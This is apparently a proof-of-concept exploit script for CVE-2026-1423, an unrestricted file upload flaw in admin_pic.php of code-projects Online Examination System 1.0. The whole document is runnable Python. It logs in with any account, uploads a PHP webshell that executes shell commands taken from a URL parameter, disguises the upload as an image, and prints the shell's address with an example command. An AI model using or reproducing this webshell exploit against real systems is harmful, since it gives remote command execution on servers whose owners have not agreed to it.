CVE-2026-1423 code-projects Online Examination System 1.0 无限制文件上传漏洞

import requests import sys # CVE-2026-1423 PoC - Unrestricted File Upload in code-projects Online Examination System 1.0 # Target: /admin_pic.php def exploit(target_url, username, password, webshell_path='shell.php'): """ Exploit for CVE-2026-1423: Unrestricted File Upload in admin_pic.php Args: target_url: Base URL of the vulnerable application username: Valid low-privilege account username password: Valid account password webshell_path: Path to save the uploaded webshell """ # Login to obtain session login_url = f"{target_url}/login.php" session = requests.Session() login_data = { 'email': username, 'password': password } print(f"[*] Attempting login to {login_url}") response = session.post(login_url, data=login_data) if 'admin' not in response.text.lower() and response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Prepare malicious PHP webshell webshell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>?>" # Upload the webshell via admin_pic.php upload_url = f"{target_url}/admin_pic.php" files = { 'file': (webshell_path, webshell_content, 'image/jpeg') } print(f"[*] Uploading webshell to {upload_url}") response = session.post(upload_url, files=files) # Check if upload was successful if 'upload' in response.text.lower() or response.status_code == 200: print(f"[+] Webshell uploaded successfully!") print(f"[*] Access webshell at: {target_url}/uploads/{webshell_path}") print(f"[*] Example command: {target_url}/uploads/{webshell_path}?cmd=whoami") return True else: print("[-] Upload failed") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://target.com admin admin123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] exploit(target, user, passwd)